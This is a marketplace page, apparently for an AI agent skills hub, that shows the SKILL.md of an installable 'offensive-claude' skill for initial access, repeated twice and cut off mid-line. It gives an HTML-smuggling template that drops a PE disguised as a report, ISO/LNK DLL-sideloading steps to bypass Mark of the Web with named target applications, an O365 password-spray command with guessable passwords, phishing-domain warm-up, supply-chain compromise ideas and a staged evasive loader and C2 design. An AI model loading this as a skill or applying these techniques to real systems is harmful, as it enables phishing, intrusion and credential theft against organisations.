initial-access

Name: initial-access
Author: hypnguyen1209

320stars55forks

How to install initial-access?

hypnguyen1209/offensive-claude/initial-access

$npx -y skills add hypnguyen1209/offensive-claude --skill initial-access

Installs into the current project.

Summary

Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation

Files · 1

View on GitHub

SKILL.md

1	# Initial Access
2
3	## When to Activate
4
5	- Planning initial access phase of red team engagement
6	- Developing phishing campaigns and payload delivery
7	- Bypassing email gateways and endpoint protection
8	- Exploiting exposed services for initial foothold
9
10	## Attack Vectors
11
12	### Email-Based (Phishing)
13
14	Payload Delivery Formats (bypass probability):
15	- `.exe` — almost always blocked
16	- `.iso/.img` — bypasses MOTW (Mark of the Web) on older Windows
17	- `.html` (smuggling) — high success rate
18	- `.pdf` with embedded JS — moderate
19	- `.one` (OneNote) — effective until patched
20	- `.lnk` + DLL sideload — high success in ISO container
21	- `.pptm/.ppsm/.accde` — often not covered by default protection
22
23	Domain Preparation:
24	- Domain age > 2 weeks (warm up with legitimate emails first)
25	- Use HTTPS with valid certificate
26	- Category: business/technology (not "newly registered")
27	- SPF, DKIM, DMARC properly configured
28	- Send legitimate emails first to build reputation
29
30	### HTML Smuggling
31
32	```html
33	<!-- Construct binary blob in JavaScript, trigger download -->
34	<html>
35	<body>
36	<script>
37	function smuggle() {
38	var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
39	var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))],
40	{type: 'application/octet-stream'});
41	var url = URL.createObjectURL(blob);
42	var a = document.createElement('a');
43	a.href = url;
44	a.download = 'Report_Q4_2026.iso';
45	a.click();
46	}
47	smuggle();
48	</script>
49	<p>Loading document...</p>
50	</body>
51	</html>
52	```
53
54	### ISO/IMG Container (MOTW Bypass)
55
56	```
57	# Structure inside ISO:
58	├── Report.lnk # Shortcut that executes the DLL
59	├── legitimate.exe # Signed binary vulnerable to DLL sideload
60	└── payload.dll # Malicious DLL loaded by legitimate.exe
61
62	# LNK target: legitimate.exe (which loads payload.dll from same directory)
63	# Files inside ISO don't inherit MOTW → bypass SmartScreen
64	```
65
66	Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.
67
68	### OneNote (.one) Payload
69
70	```
71	# Embed .bat/.hta behind fake "Double click to view" image
72	# User double-clicks → executes embedded script
73	# Effective because OneNote files are rarely blocked by email gateways
74	```
75
76	### DLL Sideloading
77
78	```bash
79	# Find legitimate signed EXE that loads DLL from CWD:
80	# 1. Use Process Monitor: filter for NAME NOT FOUND on DLL loads
81	# 2. Common targets: teams.exe (ffmpeg.dll), onedrive, slack
82	# 3. Place malicious DLL alongside legitimate EXE in delivery package
83
84	# Popular sideload targets:
85	# - Microsoft Teams: ffmpeg.dll
86	# - OneDrive: secur32.dll
87	# - Slack: libEGL.dll
88	# - VS Code: wlanapi.dll (portable mode)
89	```
90
91	## Credential-Based Access
92
93	### Credential Stuffing
94	```bash
95	# Use breach databases to test against target services
96	# Tools: Hydra, Burp Intruder, custom scripts
97	# Targets: VPN portals, OWA, O365, Citrix, RDP
98
99	# O365 password spray (avoid lockout: 1 attempt per user per hour)
100	# Tools: MSOLSpray, Ruler, MailSniper
101	python3 msolspray.py --userlist users.txt --password 'Company2026!' --url https://login.microsoftonline.com
102
103	# Common patterns to try:
104	# Season+Year: Summer2026!, Winter2025!
105	# Company+digits: CompanyName1!, Corp2026#
106	# Month+Year: May2026!, January2026!
107	```
108
109	### Exposed Service Exploitation
110	```bash
111	# VPN (Fortinet, Pulse Secure, Citrix, Palo Alto)
112	# Check for known CVEs: CVE-2023-27997 (Fortinet), CVE-2024-3400 (PAN-OS)
113	searchsploit fortinet
114	nuclei -u https://vpn.target.com -t cves/ -severity critical
115
116	# Exchange (ProxyShell, ProxyNotShell, OWASSRF)
117	# RDP (BlueKeep CVE-2019-0708 for legacy)
118	# Jenkins, GitLab, Confluence (common RCE CVEs)
119	```
120
121	### Supply Chain
122	```
123	# Compromise trusted software update mechanism
124	# Inject into CI/CD pipeline
125	# Typosquatting on package managers (npm, PyPI)
126	# Compromise developer workstation → push malicious commit
127	```
128
129	## Staged Payload Architecture
130
131	```
132	Stage 0 (Loader) — extremely light (<30KB), FUD
133	├── Self-contained, no external dependencies
134	├── Only job: download/extract/inject Stage 1
135	├── NOT .exe (use .dll sideload, .hta, .lnk+script)
136	└── Must bypass email gateway + endpoint AV
137
138	Stage 1 (Minimal Implant) — lightweight C2
139	├── 5-6 commands: ls, whoami, pwd, download, upload, execute
140	├── Persistent (registry, scheduled task)
141	├── FUD (may touch disk)
142	└── Used to deploy Stage 2 after recon
143
144	Stage 2 (Full C2) — Cobalt Strike, Sliver, Havoc
145	├── Full post-exploitation capability
146	├── In-memory only (never w

People who liked this also viewed

6 picks

Type

entra-app-registrationGuides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API perSkillsJul 2026471k1.3k
azure-complianceRun Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: SkillsJul 2026470k1.3k
azure-rbacOfficial agent plugin providing skills and MCP server configurations for Azure scenarios.SkillsJul 2026466k1.3k
better-auth-best-practicesAgent skill from better-auth/skillsSkillsJul 202678k203
firebase-security-rules-auditorA skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.SkillsJul 202676k386
audit-websiteAudit a website with the squirrelscan CLI and fix the findings in code. Runs SEO, performance, security, technical, content, accessibility, and 15 other rule categories (260+ rules), returns an LLM-opSkillsJul 202665k85

initial-access

320stars55forks

View on GitHub

How to install initial-access?

hypnguyen1209/offensive-claude/initial-access

$npx -y skills add hypnguyen1209/offensive-claude --skill initial-access

Installs into the current project.

Summary

Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation

Files · 1

View on GitHub

SKILL.md

1	# Initial Access
2
3	## When to Activate
4
5	- Planning initial access phase of red team engagement
6	- Developing phishing campaigns and payload delivery
7	- Bypassing email gateways and endpoint protection
8	- Exploiting exposed services for initial foothold
9
10	## Attack Vectors
11
12	### Email-Based (Phishing)
13
14	Payload Delivery Formats (bypass probability):
15	- `.exe` — almost always blocked
16	- `.iso/.img` — bypasses MOTW (Mark of the Web) on older Windows
17	- `.html` (smuggling) — high success rate
18	- `.pdf` with embedded JS — moderate
19	- `.one` (OneNote) — effective until patched
20	- `.lnk` + DLL sideload — high success in ISO container
21	- `.pptm/.ppsm/.accde` — often not covered by default protection
22
23	Domain Preparation:
24	- Domain age > 2 weeks (warm up with legitimate emails first)
25	- Use HTTPS with valid certificate
26	- Category: business/technology (not "newly registered")
27	- SPF, DKIM, DMARC properly configured
28	- Send legitimate emails first to build reputation
29
30	### HTML Smuggling
31
32	```html
33	<!-- Construct binary blob in JavaScript, trigger download -->
34	<html>
35	<body>
36	<script>
37	function smuggle() {
38	var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
39	var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))],
40	{type: 'application/octet-stream'});
41	var url = URL.createObjectURL(blob);
42	var a = document.createElement('a');
43	a.href = url;
44	a.download = 'Report_Q4_2026.iso';
45	a.click();
46	}
47	smuggle();
48	</script>
49	<p>Loading document...</p>
50	</body>
51	</html>
52	```
53
54	### ISO/IMG Container (MOTW Bypass)
55
56	```
57	# Structure inside ISO:
58	├── Report.lnk # Shortcut that executes the DLL
59	├── legitimate.exe # Signed binary vulnerable to DLL sideload
60	└── payload.dll # Malicious DLL loaded by legitimate.exe
61
62	# LNK target: legitimate.exe (which loads payload.dll from same directory)
63	# Files inside ISO don't inherit MOTW → bypass SmartScreen
64	```
65
66	Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.
67
68	### OneNote (.one) Payload
69
70	```
71	# Embed .bat/.hta behind fake "Double click to view" image
72	# User double-clicks → executes embedded script
73	# Effective because OneNote files are rarely blocked by email gateways
74	```
75
76	### DLL Sideloading
77
78	```bash
79	# Find legitimate signed EXE that loads DLL from CWD:
80	# 1. Use Process Monitor: filter for NAME NOT FOUND on DLL loads
81	# 2. Common targets: teams.exe (ffmpeg.dll), onedrive, slack
82	# 3. Place malicious DLL alongside legitimate EXE in delivery package
83
84	# Popular sideload targets:
85	# - Microsoft Teams: ffmpeg.dll
86	# - OneDrive: secur32.dll
87	# - Slack: libEGL.dll
88	# - VS Code: wlanapi.dll (portable mode)
89	```
90
91	## Credential-Based Access
92
93	### Credential Stuffing
94	```bash
95	# Use breach databases to test against target services
96	# Tools: Hydra, Burp Intruder, custom scripts
97	# Targets: VPN portals, OWA, O365, Citrix, RDP
98
99	# O365 password spray (avoid lockout: 1 attempt per user per hour)
100	# Tools: MSOLSpray, Ruler, MailSniper
101	python3 msolspray.py --userlist users.txt --password 'Company2026!' --url https://login.microsoftonline.com
102
103	# Common patterns to try:
104	# Season+Year: Summer2026!, Winter2025!
105	# Company+digits: CompanyName1!, Corp2026#
106	# Month+Year: May2026!, January2026!
107	```
108
109	### Exposed Service Exploitation
110	```bash
111	# VPN (Fortinet, Pulse Secure, Citrix, Palo Alto)
112	# Check for known CVEs: CVE-2023-27997 (Fortinet), CVE-2024-3400 (PAN-OS)
113	searchsploit fortinet
114	nuclei -u https://vpn.target.com -t cves/ -severity critical
115
116	# Exchange (ProxyShell, ProxyNotShell, OWASSRF)
117	# RDP (BlueKeep CVE-2019-0708 for legacy)
118	# Jenkins, GitLab, Confluence (common RCE CVEs)
119	```
120
121	### Supply Chain
122	```
123	# Compromise trusted software update mechanism
124	# Inject into CI/CD pipeline
125	# Typosquatting on package managers (npm, PyPI)
126	# Compromise developer workstation → push malicious commit
127	```
128
129	## Staged Payload Architecture
130
131	```
132	Stage 0 (Loader) — extremely light (<30KB), FUD
133	├── Self-contained, no external dependencies
134	├── Only job: download/extract/inject Stage 1
135	├── NOT .exe (use .dll sideload, .hta, .lnk+script)
136	└── Must bypass email gateway + endpoint AV
137
138	Stage 1 (Minimal Implant) — lightweight C2
139	├── 5-6 commands: ls, whoami, pwd, download, upload, execute
140	├── Persistent (registry, scheduled task)
141	├── FUD (may touch disk)
142	└── Used to deploy Stage 2 after recon
143
144	Stage 2 (Full C2) — Cobalt Strike, Sliver, Havoc
145	├── Full post-exploitation capability
146	├── In-memory only (never w

People who liked this also viewed

6 picks

Type